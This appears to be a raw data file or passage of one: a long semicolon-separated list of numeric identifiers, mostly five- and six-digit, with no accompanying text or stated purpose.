62574;48354;100464;42056;65952;55120;51919;16012;87310;50494;62477;23824;58607;71319;60155;100511;58562;66405;38972;12634;31795;36131;11581;97664;19693;38689;82742;22878;84748;17835;71838;57285;10416;90921;42468;22193;17254;42862;70120;56957;59606;55115;97355;23813;44068;40861;15642;103458;77050;29698;22314;15417;11563;55805;31796;62692;10123;10551;52670;11256;93049;16328;96388;39350;90307;48994;104660;14810;52003;92430;88955;16171;63521;52589;59910;70658;25737;65613;18560;62186;29748;11345;99727;70147;10970;70352;36103;73862;10886;40447;73943;35309;60095;49043;99362;11310;15857;86002;92606;93028;82534;74155;23802;72429;66932;15425;10895;55570;103751;48977;65616;94356;95437;39591;97754;70316;72937;72693;19592;78478;72727;62694;15477;57284;93515;58644;69984;24685;102710;86314;15929;59447;92025;15706;12215;11684;100192;19948;14804;46706;57917;11338;100181;47697;20845;29216;12088;57589;22133;83956;11834;52994;76946;66179;10106;24911;22370;70177;11057;59374;22416;10142;103679;97734;99306;87777;86302;66272;35258;39479;72483;11097;70921;15936;64583;81513;43864;18558;49706;53208;64587;31791;62926;73993;17729;25971;87241;104556;78034;62224;34350;49054;85739;51125;11339;18617;18257;101955;72645;54999;70717;10486;59858;82703;73481;10072;73205;50324;46786;59192;104552;33819;10840;86949;70069;42880;22095;35708;56320;72396;12230;32481;76939;31851;81549;10975;18480;71525;54942;10714;51439;104718;11770;10989;72757;16468;24268;10814;22415;62284;12045;89786;80553;62562;58795;73519;14257;62118;10752;69475;91783;69331;31422;91442;63347;33928;50049;11480;11919;94109;31350;14246;10569;14287;18393;32394;18433;93112;40352;94394;47862;104655;73149;71887;18361;15970;21311;86658;76971;23633;43175;93740;99361;30106;77970;105024;35068;65811;42044;48246;73210;11412;86473;11003;99706;59114;18424;64710;70762;96145;10286;25684;81083;86318;101084;21040;41945;31798;69513;70740;90311;45541;14633;15901;11716;89039;21306;11840;66943;18190;71463;88043;57034;91006;18085;22526;74224;11048;64916;81185;27591;50511;44659;11548;89692;66173;25287;40983;73474;40852;101821;20007;94961;92022;91310;11513;11136;100421;52703;65029;73921;73404;47038;38153;92321;73634;78554;55994;70741;62414;63136;89661;21589;62907;81046;84811;23965;26923;59732;93739;18083;65056;66416;88020;51119;38762;35689;20174;80920;69281;62389;52503;12262;21329;83303;58412;49219;54630;64438;20930;73207;39465;11309;21677;17635;73764;83279;90941;63623;88881;25954;49284;82570;81180;12054;25461;10024;74442;32323;76535;42085;40331;24019;10404;72151;83873;85160;31640;10034;10499;51096;18507;77498;71156;47766;38699;23799;66908;57771;73103;77858;100296;48364;21748;19506;11792;77480;22494;11333;42119;80859;91612;11736;80966;80460;19396;20727;72983;59715;39345;33948;59411;93720;25494;66203;18266;97210;15711;11856;24233;17652;57578;102266;56631;74364;85381;69874;81207;100841;83730;39807;80885;69478;33279;84239;10185;96768;18033;70211;10451;99400;19394;44624;73339;57635;23937;10820;11632;11129;57039;94138;50599;62685;65734;10518;10893;51192;94384;16463;56920;50541;59969;78543;73645;59039;11794;10251;70918;15460;64506;99632;62467;22228;42352;11466;21244;27584;59175;34082;23736;10411;10794;20395;89875;77301;97226;72387;81105;14368;22090;83359;51167;72513;10005;94389;91194;94055;84193;14318;100791;85541;85351;20754;65739;51188;48297;10352;77055;21218;11774;10519;92421;51059;72706;77857;73836;14313;44094;73596;103195;57041;47718;62969;46328;91715;87416;88650;58482;78767;33859;21220;51814;10929;65674;84195;72605;73275;44587;50845;88956;76348;80998;56735;33761;95923;36147;58581;58232;66693;77830;78509;62625;62975;103819;21099;17691;21728;100845;91260;93381;59048;91601;100765;78547;46311;20182;56065;66964;11206;17707;32081;21305;10070;20000;19504;78233;51122;70591;35765;99480;73370;21630;86543;95658;55143;64714;44660;100998;94047;79360;70125;62075;81733;56171;20346;11039;93344;77403;57318;80036;10567;96928;55118;21217;58483;94511;49002;89029;17698;43352;13852;73160;55631;79139;17699;10935;91964;31731;19391;53812;73102;96728;74089;100764;91597;14370;91915;12279;20812;95541;59793;11630;52715;35953;69915;21143;10978;84344;99522;103932;58768;17651;72934;84163;49707;10578;87219;93231;103188;100194;103968;25898;97436;77200;103219;87259;55132;11100;18296;34433;23828;16209;77150;45045;76358;26010;71215;43636;65256;20318;10566;27055;80080;25688;87594;76119;43402;64453;12272;58186;12100;66554;87890;81487;96775;100189;20297;99246;20936;73530;104478;70331;73272;22299;48970;83471;11678;57942;81972;44420;65883;18432;78110;86152;62988;69045;100204;55931;10912;85514;17807;70315;93409;51459;46842;66543;55794;27597;76794;90318;102733;11820;65891;86248;29703;77087;78475;70397;10561;22270;44318;10922;97524;69426;77607;73895;89112;74363;45417;21740;11795;33944;34372;69442;17630;90710;99125;11166;15639;103816;77691;83439;35074;10730;33878;51527;104497;17312;35655;13660;21340;10750;17193;25756;10156;95888;42900;57606;19234;87504;87502;77732;14714;80494;24815;70545;14372;91500;22093;40565;100154;93518;22191;78824;10366;12281;83053;40987;63324;10307;94168;11910;79127;99707;40890;102017;103382;77831;83737;62592;83186;62349;62582;70126;100465;62795;38793;10860;83917;96961;21313;50561;25087;17809;58832;92322;70923;58330;15965;62662;70947;20217;76214;81778;65195;19546;74222;11329;95441;66025;19763;45378;10625;100792;64938;87965;48407;18568;11299;76416;64573;74138;71116;35069;18546;49647;86660;76128;18201;71891;54924;51360;53895;39791;200045;11583;64557;38927;94107;85707;11627;11041;50379;17710;20992;73021;85690;90433;63231;83736;100388;14770;58800;14726;12083;10436;49037;23651;60083;52669;17726;45580;103933;59371;88595;10736;55719;88046;84586;11656;93194;94199;48273;20097;24907;29224;66271;74186;10053;45610;25370;21641;36162;72778;20319;35823;40330;47046;63323;10475;77761;96315;60029;71534;73213;10444;60139;65854;70970;15973;64296;97944;11981;94014;58332;31410;20009;19509;42112;200022;69103;18400;25705;87726;10415;81318;19608;77474;64248;51838;103925;67129;31467;33441;57768;40469;25699;23839;24783;56682;11037;94291;84233;102204;103419;54583;35220;49218;20343;51875;40668;57282;76571;50302;20975;93741;61731;15442;45504;63428;91101;10982;18287;87822;11289;70167;55550;77606;19239;17826;90198;19584;81742;91824;103817;70663;25711;34221;66931;65855;44317;87208;11368;36130;36088;82027;21271;21208;82030;76356;26186;33478;10533;71173;63430;200025;97738;80480;16338;57977;93610;59913;17693;11841;10164;29896;84504;56456;76359;18213;88624;31052;71261;86763;76576;62693;10316;62715;34031;32480;18682;69854;10351;85222;70614;17712;10115;11346;10804;93470;20296;72584;92411;19498;30217;103930;11652;58653;99517;84236;41626;65805;59658;73336;101373;77027;59069;59821;48968;10631;103935;14198;10646;58001;10042;96338;79385;72685;70454;49288;21077;11181;11793;41029;20339;25344;104998;74287;77685;11524;28291;81248;10761;103855;10644;104434;57766;45404;63067;59426;42147;14288;97638;53337;51529;96907;67244;30213;82079;64378;51958;93376;30205;84579;19252;34373;10208;69332;62010;51170;103375;52583;69048;15908;62695;78678;35371;22004;87825;10510;58427;17766;100810;33257;51178;92364;17838;27523;29727;20969;36087;20347;97639;20161;94642;19426;59497;31859;71950;11692;18259;90359;83743;25350;104857;59735;95823;64377;61436;48353;17322;25442;69399;38830;51121;22230;49659;91163;85126;31794;11537;10136;71427;100382;97086;100124;100059;64669;55818;99290;101305;86325;38828;73057;53332;51528;52672;71466;58076;17311;91428;10137;69078;87592;18185;91815;46329;103867;60047;1337011;71347;45553;53334;56738;42150;15480;34992;25169;60138;88021;10833;70369;17733;83363;11143;66426;19428;17241;23924;11880;66413;76771;65742;11305;18417;24322;52044;54644;13641;51510;58953;81785;32375;17973;90001;17720;103668;23964;66497;70198;65887;51975;52716;52993;85380;46198;50987;11402;85407;90600;102920;93718;34237;22365;59040;19766;65767;19784;52768;86067;45399;42799;31993;38850;78555;21081;45379;11240;18156;56378;103970;11575;42443;87218;69987;61528;53896;14805;20109;66407;93866;100756;104573;11654;11997;103647;19692;88418;61463;11258;71050;87762;16199;83518;97577;69803;104358;30149;102273;51462;33140;12002;79859;73340;78086;65791;63266;84878;73022;82820;63523;51095;61462;74223;85267;104104;17303;46197;42818;49016;42960;13655;66326;89725;87476;52974;52502;96046;73690;48944;74510;23973;62358;48374;35273;38761;95768;46844;87680;19194;70768;84237;26196;89108;90603;93122;70070;10954;30108;24871;69871;63349;17220;66698;10550;93787;95876;87538;47749;32504;63353;84363;52535;24333;87949;10097;77304;90432;39328;20015;45360;25552;88052;76496;17364;10807;90796;23787;84804;11021;24709;79247;103964;62819;77477;19599;77529;86577;10783;23969;69099;14847;57877;90316;59376;42801;48317;47897;17805;33577;51906;97144;90249;81260;66374;100617;55608;48244;10200;38988;95391;76284;69283;42149;64243;70661;15614;45084;34218;88488;82567;83470;82780;22899;62033;84727;1337030;17832;20950;39790;29310;91826;43390;91231;20952;25163;71441;100157;11277;11125;68880;103699;73302;97742;84823;73461;62710;82824;66444;53620;87505;25021;91344;69307;82799;50434;68992;14305;73624;18022;103383;19236;70290;17800;18194;101930;11629;14279;56668;72035;44331;15570;10542;64684;73121;11430;80890;102781;10744;103877;35648;22076;11650;11544;100064;10731;25221;11246;81408;76969;53856;66755;55759;56057;24690;19365;20176;45514;103866;81777;20835;62564;65051;10882;78387;69076;72709;70941;10127;78766;96799;25573;12076;62042;63561;60154;40493;93786;67246;64830;31346;19760;17724;59568;93228;50861;97085;51956;57574;42305;104891;19415;87876;76620;48987;11213;46193;59410;104544;77633;86472;59500;71567;10532;15851;78438;42871;74368;10111;93483;11938;92017;18436;65721;103220;26924;60096;77155;55671;22094;11380;85908;86900;82774;64706;11086;12046;17595;42353;88908;57804;55906;29722;200035;12116;95770;58398;19552;72104;16059;73306;49144;24814;11163;11636;66986;32134;76618;81127;82898;104742;62736;57538;12111;78065;23838;49272;19589;64568;79665;72882;14665;1337025;95539;94676;101898;81497;46803;103980;79745;19949;11754;61576;83872;51938;33546;93865;27526;103974;32136;57280;80948;20241;10526;84054;76577;79437;17291;91634;81783;72201;26970;93802;76763;99234;55568;99033;200018;25824;57945;76533;80484;80483;17756;85332;71077;35906;16276;66201;10863;57751;90440;20005;59043;90444;73640;89666;29218;34993;103977;33943;55122;35251;64937;31345;10966;31606;17783;102268;74015;81020;103532;10823;43181;11874;94898;35777;21237;83519;72686;104786;99931;10394;10573;59330;76216;91825;39329;69837;58573;49704;33950;70473;42933;99131;25252;57847;11657;59848;61993;33488;43860;89753;59861;87676;86481;35690;70076;79836;57946;22306;11989;23734;76528;85911;74325;78598;85324;88699;11447;11045;102978;24741;17585;81780;48982;94386;95811;78826;18360;69853;11247;76120;25292;46819;66409;1337018;101814;18429;64835;102199;62927;56066;81579;102783;72175;77117;100462;99281;95438;10226;33108;19217;62984;47700;82040;79834;104350;100174;88717;86576;87257;45065;90680;11608;72601;77376;11535;14249;48275;18220;76594;10719;91759;95026;72338;77176;29307;24747;67227;70856;52769;35322;45577;59275;70588;71265;55669;50575;20843;38199;74108;10345;12258;21555;56485;26926;34219;25823;53381;35717;83771;23834;78596;16260;10149;18490;86912;35070;97552;25933;15542;55930;97496;51359;43111;78699;79129;10558;12270;71519;21757;11065;31659;11298;72668;55535;31737;81384;80282;93109;95479;40406;46843;99521;69476;94914;21230;42831;69077;17812;72714;10176;57576;93657;83952;40823;17841;73372;66408;200041;31705;10671;53569;77120;18363;70878;87880;10905;88416;24341;72434;69428;73459;10368;57473;62117;90023;92844;14325;73896;40620;47779;46865;82296;11698;71176;99730;77170;17227;28373;19776;10378;10796;18431;93939;15588;99516;71882;49015;49775;83416;53331;74428;17780;11140;54954;42191;39794;63300;73298;62941;19594;84156;56564;71807;77369;24710;60043;66849;19765;28377;15703;17605;55131;78623;35710;11174;77408;71886;59453;44119;38977;83782;18100;85883;51909;14184;100060;45390;55886;66807;86328;67005;11763;85743;46740;59904;45477;104353;43351;70662;86372;87011;24683;65929;33867;72171;55288;77709;11872;50971;90266;76056;12232;96830;57876;89834;29999;91603;58449;90194;31135;86402;80831;10014;76127;59311;15408;22926;20345;84809;10350;31462;64707;71154;85745;15788;51972;97385;49173;55574;81744;14826;10907;59798;70123;73376;72345;61575;18570;14715;83876;62460;70330;63354;77829;62743;11725;34402;46241;62479;77910;14317;61577;104460;54843;17777;104663;39007;10574;72831;22466;10648;96532;74125;11638;12037;10055;77636;76786;57765;69239;69481;91125;57558;35556;24261;35454;86548;11178;55800;56872;30131;84742;14822;58793;77182;94582;19299;32398;96392;56449;16261;60120;16154;11359;42304;62045;17755;78030;51873;84060;62183;15463;78032;1337231;17202;29897;72770;61659;10662;52977;10391;99248;40801;24873;25570;65986;19303;30200;89867;77279;44117;85806;38978;65909;73161;31646;88050;94381;55572;73124;18672;88022;85886;94048;38849;66762;50695;66844;10172;44873;60044;97942;35630;77116;101167;76572;65692;77246;101049;53513;18250;65580;46194;93716;15773;70493;19750;11023;10493;85242;25548;96957;66763;102682;34348;25082;45512;64724;65873;22031;64814;83366;11005;58751;11782;11157;42057;62938;51166;58538;10563;10474;21142;62821;18526;69037;71538;70176;72963;15940;72724;70022;22271;11241;24739;86886;83468;84216;23777;81269;51511;200033;48953;33169;104549;52767;69802;35473;14786;65219;72710;67216;67143;10323;90193;24698;61996;12124;100634;71145;10859;19943;60111;11947;17774;10771;25159;11032;51957;12641;72339;57708;50694;29852;72779;57573;10490;70101;11676;73093;79580;49004;24905;79835;77760;11570;11868;35090;101813;70099;100028;29743;77983;92429;38207;73948;69923;25710;43400;26068;26065;87849;90508;104813;100103;73835;11969;67175;100123;88988;19377;73805;14178;94330;14188;59091;91458;97141;39314;11457;69788;43862;94200;44392;94673;17763;65902;39343;70926;59505;10520;48340;52456;10163;94405;91349;56450;76369;66843;71440;94638;15583;48274;11272;78742;70140;46753;11127;10717;53842;10921;86849;23837;33103;200016;22316;70411;47860;93191;15719;85599;102858;15464;11238;20171;15543;104574;11734;59172;11747;55884;76968;69328;11690;10488;77969;23652;10855;76867;62043;84150;48974;51675;103979;20837;58185;26002;81577;71966;17661;96628;77988;11504;79743;16058;66294;20867;90251;11824;88931;31681;34693;38152;97387;23809;83295;65127;44046;91346;20092;92034;63146;70854;87211;46202;31793;57287;55819;10766;103926;53576;33482;11249;83054;19997;92516;45439;34729;10095;11483;62991;25201;21146;22022;63686;44337;34169;17773;104411;11397;22413;11096;50431;10801;18224;51425;45625;104626;51352;91814;79420;91045;78749;96533;48216;65687;95879;24278;76258;11532;49710;19522;24748;104640;24282;77161;73224;10166;36149;62205;47709;70851;11113;12071;35786;200013;21325;63326;86575;81438;18207;99477;21144;92012;83765;13639;44330;49776;21582;58000;10784;66517;72862;10610;73567;65218;20179;82663;35071;45048;105005;15963;56042;65930;51139;48963;96624;11154;12234;48967;15712;95721;101087;103054;77968;45508;20924;69952;49147;10380;93227;11052;14631;58988;52016;34110;10505;14707;48989;66233;69541;103421;57033;73970;18134;34364;11304;33394;63689;64263;74323;66909;34819;66424;82504;62964;48980;50322;44342;104553;57414;11837;91097;18479;73946;70317;70351;14292;81669;85692;11047;10452;92424;31421;70731;60082;100809;17828;33947;70314;82529;93108;11806;70743;100163;11273;33880;16180;34994;42892;92359;91784;27620;11296;77963;77537;62462;22902;17142;10951;17987;14180;93776;49960;45005;49702;62799;45592;17797;104044;52533;80330;15531;63683;69515;55134;96960;59907;20863;11572;14806;104656;90793;12269;10485;71968;19605;63476;11400;99930;15951;91426;20178;96832;24232;69056;49024;70415;11361;49005;56121;103966;81439;11512;67176;70979;73526;30054;38734;76765;29313;19500;20344;103127;74252;94054;101816;82825;11056;90922;66672;60116;33563;50304;76579;19556;12207;57793;42822;18567;20252;18370;40824;100159;12102;78597;15554;42369;92376;21771;103936;71773;69494;18364;72985;46856;10198;90684;100806;69914;56195;24284;64473;30185;77276;10537;66238;103193;103134;59056;90894;102778;23927;21041;56980;23639;18175;94164;11746;73824;93960;70124;65052;55048;10130;49956;59089;67126;99906;47830;76361;57289;31786;33927;42442;22072;40799;11955;35706;26193;56124;83034;99595;86124;46693;100763;55798;11924;46732;64704;11160;44319;100180;91716;72433;103529;40664;66700;73771;47696;94632;26928;90859;72211;77535;96874;101521;80357;38794;11261;87678;101369;92558;89030;13648;11171;15704;11467;10188;51366;92438;101166;73432;72105;77986;18670;11423;97140;86324;88982;16326;94366;64819;86480;63333;91856;10682;85217;18477;11280;59716;64935;42411;44872;63620;100719;94400;34490;58335;43064;10196;84667;85536;104628;11470;15643;105044;88562;26062;31653;35288;86821;14193;56164;50686;99172;10472;84232;48245;103511;200024;20728;62373;62758;73413;84877;101527;89038;15858;11367;17750;95922;85661;53532;10653;19775;81205;73473;81263;34123;10943;10945;59180;76253;17819;73597;92420;66519;73832;71144;66842;79802;62416;21662;11980;48986;79719;16265;63687;59794;81511;45432;24011;83741;46675;53409;10605;71970;22496;52610;102780;39538;49110;65720;94250;10093;63150;50343;86710;11038;25369;95824;19376;61574;57571;86995;83474;51894;73479;64818;87600;17631;87679;55628;17221;32032;97992;100166;11444;56040;26917;15720;15625;67173;33256;21082;52530;22511;97417;104351;12288;95813;51895;90787;21336;84731;58320;10967;69102;23929;26015;11371;63149;10647;21337;95826;84801;60086;89678;104391;16139;64584;64878;49031;11533;33874;96045;100995;56998;24264;40333;90924;11252;69479;87882;10227;22477;91013;11999;40663;79828;10810;52653;81651;46221;64847;72102;11996;103702;33484;54604;73331;49709;10169;52992;11893;59527;78441;13840;200006;56873;71432;76531;10126;87244;80863;23819;93000;104894;77556;55702;10949;69401;10036;21739;14732;73945;56454;72672;56058;69916;93475;48979;25798;73500;49695;21745;10754;99235;44344;10125;48203;42290;73079;17584;11104;42118;77750;25202;40557;21692;10096;42982;74265;40448;11662;82901;25546;59329;18049;94050;29926;62701;10190;64712;18368;70729;31853;66394;17770;21764;17817;72835;19940;101159;102425;82712;70977;23800;11225;99312;70334;34399;93816;86065;65768;94469;17289;65885;15398;90599;27854;85411;103747;31130;24742;84734;97947;11758;21189;23840;87657;92822;86422;11373;81973;69040;72982;34448;90445;53490;70719;70078;25117;12057;55128;10683;82502;66699;32195;100381;27521;25993;30105;22921;39348;10491;78603;68904;50002;10767;95390;12063;64620;94393;96769;23624;66293;40354;35554;89031;45022;69919;42437;80962;11549;10146;11653;57472;66237;49648;83813;59108;58905;21558;17610;74188;20908;12245;55790;81003;64991;93661;60099;16193;69828;99247;36163;10159;83875;93662;72283;10830;88651;17341;33483;17586;46867;78508;34420;21187;29995;12033;11321;15478;34245;11465;33946;18636;23821;71322;10016;87599;11640;104812;49148;18291;96877;40862;87896;81210;72860;81814;59912;38914;66423;49996;95927;92947;103783;11386;11437;38664;70784;69042;48264;45515;81786;15939;63099;81596;69304;30020;56453;31041;27525;56996;10552;11262;94401;49712;21164;56385;69921;69554;59820;102992;12118;25568;66216;20747;70963;43615;14787;100257;51773;11740;40827;10018;89028;93193;62291;73823;70532;57959;18208;27586;21607;44074;20995;51851;83521;79271;49049;85629;49674;63468;10831;91946;85628;24283;70565;70853;72703;16226;69514;55623;100058;73617;24016;100767;18027;12285;59660;11974;83768;79724;77704;64577;80476;87323;64833;57275;33168;86885;10003;60140;10797;10596;101267;73754;97388;23645;73828;90797;102132;101110;10270;57712;71533;97225;33445;42106;93245;76406;101063;21566;22077;62391;49006;29346;73967;69334;15789;10141;64686;56242;83812;70339;89058;12119;103132;92000;101027;20987;80886;61719;66327;72705;56681;61396;20755;14359;100842;76346;22481;42117;87989;90706;35634;19525;70858;51812;83766;97227;62901;17837;28185;29697;69845;74327;81817;99374;78625;58649;80491;11237;31789;56211;83347;12049;71840;15820;69852;10325;45061;84808;70141;14585;56333;100782;1337024;66328;69261;57035;10592;72215;84821;97575;14294;20255;81981;77684;57396;17301;94900;59245;76073;26017;84241;16044;17224;20094;76710;79128;18218;21772;70857;42329;11285;18114;11438;14379;65704;73742;23731;70773;71246;69301;25897;57794;48990;69370;38649;70025;66373;25444;64572;84806;77115;33125;104410;21083;65703;64459;31038;62044;11145;36019;22534;43404;96725;10067;76131;67018;18293;56316;99907;17240;66945;31043;81380;26063;66878;69421;72981;64486;38648;58656;58727;81600;73865;11915;19554;56045;104572;92464;81818;38926;76463;72485;104670;55444;11642;81047;62026;71864;94963;11807;25219;42425;18689;86698;38791;11871;43875;92458;35704;31626;87944;20221;56175;84215;96723;86573;22180;10514;100159;11167;84570;21312;33945;69425;20248;11393;17715;24244;20168;42823;33925;24672;15782;64094;49174;104385;72646;18585;64725;48293;1337017;77163;50612;51891;11002;76114;25758;72038;25682;19254;57363;19309;90791;30152;22371;31790;29219;69079;23775;83524;81701;76881;1337008;78628;96875;11110;11233;20748;51890;63148;10568;64569;46337;79833;34394;59458;76390;38735;90119;18416;45021;65789;63205;70589;58433;11620;61716;31649;100184;70217;87926;20091;25950;49711;63268;81647;94641;62353;95662;60117;73403;67200;45436;83116;59555;18118;16455;57848;14286;79742;79359;40556;94962;55542;10103;71845;101839;69517;101050;92412;19501;60109;92024;200023;39795;24679;11215;76202;14269;57602;14841;100323;10652;18203;76972;10504;61562;34401;73966;99264;64532;20068;18540;51913;48908;63156;65210;102094;20927;90539;105025;70560;101529;14586;11935;11948;92462;31117;76460;100838;72428;85329;58290;21018;64633;82704;62312;64816;35403;66636;59037;34694;42479;83357;59247;84581;10852;35610;71324;16140;70562;23934;85802;35620;39446;85182;80522;101523;51645;76874;52586;101232;95878;57620;16138;74431;74362;10273;51341;73386;10603;63157;51974;77114;11229;72780;88414;22411;66023;29830;27527;64836;81580;16330;21629;12125;62638;47761;90428;70216;100103;101900;97893;59210;48997;79800;77864;43159;10074;102960;78480;55472;103745;78445;100721;81423;10007;86018;26965;10620;87656;16478;49039;84587;14186;81107;39590;11984;54627;49070;72726;58293;17781;86059;55796;78028;79140;56690;87410;101205;94378;1337230;70682;28331;19233;55734;80102;100101;56877;70319;12052;48981;11890;91827;10506;92219;84572;62892;35450;95921;39536;62464;69129;20184;10667;48276;92816;58008;21562;24345;66805;101161;48966;91126;64631;91002;59239;23650;66872;104042;38832;101160;14316;50677;49690;65097;25820;62902;91623;71430;18268;17239;10154;29345;94382;81145;48993;77113;73572;42368;53572;103669;17163;33486;99983;18523;66421;14636;11775;72608;19588;31348;25488;81781;69178;60022;97735;70976;48435;102731;23842;62777;49951;17593;90201;100356;34242;17342;51461;33900;53209;66350;11633;22465;94371;94392;21610;99280;55046;59454;33273;10449;23998;80358;100179;71884;11295;65942;96726;18618;70920;52052;83729;84058;15829;47804;42350;91343;100200;62560;91731;11194;10534;81788;53288;51859;22875;46848;70092;57459;78626;41958;100804;53473;11355;91123;51343;11714;93378;90435;39471;94364;65884;25352;16093;48761;69015;83818;63074;93469;91963;10479;22922;11689;48947;25421;20880;26019;89874;11983;66481;10396;18613;59191;10145;44942;19783;38653;68905;104275;99027;57484;26024;22540;12200;31730;62463;79233;103252;62027;63065;76115;25215;87736;93076;72588;62903;71924;15983;17760;47128;10349;33227;72741;83263;34393;73770;11364;18621;53491;73482;24913;27041;17728;11651;69557;91996;34161;10523;92554;1337010;91455;97661;104550;80889;71262;27507;104389;74286;48960;63000;15626;57607;47045;86369;72508;93402;42931;17302;87210;58990;60018;97732;77473;71883;20111;17731;30021;19512;71977;70895;73669;35807;33479;45433;20130;83767;80864;11621;66717;93380;35700;49017;25760;40421;90002;11222;25994;10777;87012;100571;101838;21243;93233;65723;21644;33446;85626;20093;45138;73517;22017;17597;28293;25694;15439;50525;99512;48263;70629;73834;44914;61535;105045;99266;31407;80997;19719;15465;64670;50846;10836;50495;10094;67021;104559;87817;33276;99104;87209;59409;11291;62356;24669;32396;64877;50544;93738;55787;44077;77690;55124;36141;55385;18265;63224;67142;70472;41607;21573;10891;35629;102363;36150;43029;39448;50350;32124;77540;18008;49963;19751;102782;24759;14258;66870;40616;26064;71885;68928;72936;53596;91339;88716;101396;17793;50430;76193;11505;31415;68981;76281;21632;83300;88646;11723;11886;55765;55447;65130;70494;69184;90829;17213;84059;50529;69831;11230;59641;103870;59365;48763;42351;10017;59042;92968;99472;52546;56754;10100;72939;90355;78655;12280;73383;59909;11888;60024;69950;11555;76203;61459;76943;77907;72372;57579;18614;92040;11923;59852;20014;13635;73962;14224;84728;12237;86019;35705;11835;15778;48254;10252;93481;103648;82996;24680;14261;17695;74267;82772;10471;11013;89679;47151;87955;79581;44064;58434;47750;57040;66915;14824;73983;66992;50540;62999;93051;11365;79831;57889;39355;53258;82581;95951;104356;72928;25217;77374;12227;90860;23814;19753;25901;103379;99928;94383;57049;84672;17761;27818;10421;34120;15470;101086;104554;22510;21140;56455;19778;70453;36143;34050;66841;54629;55569;11067;93124;12113;20008;17762;34294;90998;86825;84155;10651;19680;51841;57861;49260;77025;90546;91672;64784;65209;92541;94934;36183;14223;40562;97192;24240;23698;83951;45624;79721;10457;40796;76490;25953;72330;17988;73736;87918;10656;102262;100846;47717;12015;101047;58833;11539;24733;76123;51165;101111;102860;61435;70143;11877;56693;10809;20065;62593;25990;59455;21685;62566;64893;52609;77028;19706;13640;76532;99519;20010;82771;11014;11624;61515;10870;55474;35402;92522;66035;96487;71153;55130;62201;80335;53621;17574;69956;51455;84470;10835;52024;69271;79668;83187;73825;64894;20368;10910;48759;58230;79252;35618;14229;36034;57333;23931;16225;102203;70169;101304;60025;83296;71947;30208;47126;19306;60080;65879;15864;39482;11582;78029;15640;93127;97325;57795;86418;45511;10467;71433;11724;103700;18536;20824;103535;72583;55593;45059;18251;52978;31787;99592;70335;42426;73289;18041;96959;80078;46733;11743;66721;91128;24321;71774;21686;11952;56712;95256;12006;95470;57598;12226;72458;49023;56855;103509;95260;11126;11779;10940;86826;34405;22075;77220;17199;81606;81916;66867;62185;11072;10536;52963;101044;56666;39341;82585;90890;71438;10289;10428;11450;22528;49708;88809;10364;11454;25904;23785;81270;14346;58529;94380;50347;43861;73826;104174;58571;78472;20006;88840;86856;84671;20250;88841;86572;29187;103223;47139;17245;68982;94232;39806;85850;33550;66349;23822;79599;11484;48339;70213;46212;41060;10688;94334;77574;46236;11319;87597;61429;99515;72459;11266;93521;25703;86105;15834;50504;42211;34727;34056;76347;51999;51091;30151;85737;32374;60016;45356;97860;77634;25553;32321;10116;59088;56090;39450;87775;69346;88990;58274;10626;58088;78738;25883;87673;29924;17803;88577;103113;69179;87879;39372;80477;48951;11012;80226;104852;90437;58323;95287;57948;36020;58579;21684;84920;21338;70178;10480;55285;62124;94363;61532;11455;30150;11124;71175;63206;11693;66544;82075;81734;70292;92368;70027;86426;81106;94611;71213;52671;12203;19515;104561;94399;66862;11193;54988;72833;43067;34338;23825;60015;65894;46180;56070;48972;64578;81082;92045;53879;99369;83117;84400;24260;17690;17603;100187;59327;38973;91261;59785;20378;10357;69920;86246;40907;91263;73212;87875;94670;79856;40618;43004;93375;34334;69558;94196;73027;65913;62890;87728;35726;85266;11396;55116;12080;14306;24681;34335;60085;11516;28334;72604;10973;69322;72932;11753;90765;10466;22160;85582;82591;17295;52547;84287;76776;92723;20745;91598;104384;69801;11053;26920;74470;11389;10608;15771;76455;17200;39492;78388;84490;25171;85880;91713;100258;10075;21224;62992;29894;57947;22529;50386;82589;47140;14793;18188;51872;31650;17155;83489;78739;90006;11797;40667;83528;82574;49777;10663;82025;17596;64717;57803;66418;22447;94163;15721;50307;78918;24323;10028;29742;62369;65948;21145;49055;97858;87877;14228;78913;92840;69480;11187;52659;94760;90356;56483;49675;76913;86997;40931;63642;69268;20933;17662;70416;11026;63098;72690;102036;58904;18619;89779;33549;56955;82705;16281;32080;62064;66445;35453;101163;11128;59834;39420;45380;70068;20842;100057;56283;87601;56064;51988;103876;11099;102500;50676;78825;94672;76403;26070;31644;69036;93844;69058;31727;103676;14241;90709;51369;11607;104787;84432;71772;10948;81822;70173;35075;10861;80121;34815;58515;72905;57470;57752;50602;34268;93899;44332;56648;84364;59255;90436;33278;10117;50344;94955;18627;36083;87110;21655;82429;69237;80101;10927;81378;15714;18248;21223;47037;10916;104571;20866;84960;46701;53574;48955;40422;55553;10363;92824;66270;19754;22497;34396;91427;10511;99133;16324;89111;10850;73761;57799;11354;17833;45046;32395;12042;104048;11939;11912;72707;69427;93650;89032;23634;97948;65910;100424;84738;78912;11990;93123;89689;69441;64851;66317;100164;72664;12202;21229;35224;94017;40613;11701;103377;82709;104659;76578;100165;11449;42212;100993;57921;10343;64454;21015;14364;38687;10262;81980;48999;92494;34742;70342;15709;63622;69834;59657;94051;14838;15855;99762;25800;73686;100062;11655;58769;18569;57603;62242;78745;77575;104856;57608;20225;85181;66412;96452;33476;31657;93561;72176;66335;72179;99728;88589;55049;78394;73136;14784;35029;15781;84638;64701;76122;73683;11784;16315;24332;21017;56469;32381;58134;52455;73082;72216;10638;42349;17244;23643;10722;11738;21236;24817;66389;58399;99314;20804;39468;69273;76942;59367;66360;20388;10459;94578;39463;68959;40466;40592;76402;73639;24000;14324;33396;104892;101366;89788;46239;73759;96003;38652;57028;12023;10743;63682;90682;56876;16275;25492;17814;51463;78080;11123;73187;56300;85877;49977;18222;48969;12074;102264;11940;50988;25247;38694;16282;80228;21744;101299;21174;25199;85652;101896;65053;36151;63245;20223;80035;51976;104893;59819;84022;69044;50433;62622;62458;11831;97998;10811;59757;79864;29802;22311;81181;69075;10347;45437;25291;29799;82572;73226;96982;36018;53392;25172;100157;72043;16208;11198;63204;58181;61527;55806;1337226;57290;11008;71524;72391;50325;100222;59790;53333;76464;69447;66417;71643;72730;97940;70617;87503;19405;72744;19749;47123;72881;94370;11557;56055;18150;39344;33444;19590;12233;83140;19998;10431;23910;84741;58484;35558;53545;33397;28182;34459;35976;104815;51923;64533;19600;50601;80856;101548;10615;82664;11661;64644;10143;11619;11001;18484;12120;11028;12085;92460;25116;90512;18492;76111;85124;74119;90835;20349;59462;55652;40800;70096;61432;79578;11511;15486;15828;17775;10202;40947;35370;74158;67260;85219;88719;11461;15520;93474;86469;58005;57605;89691;95657;74140;85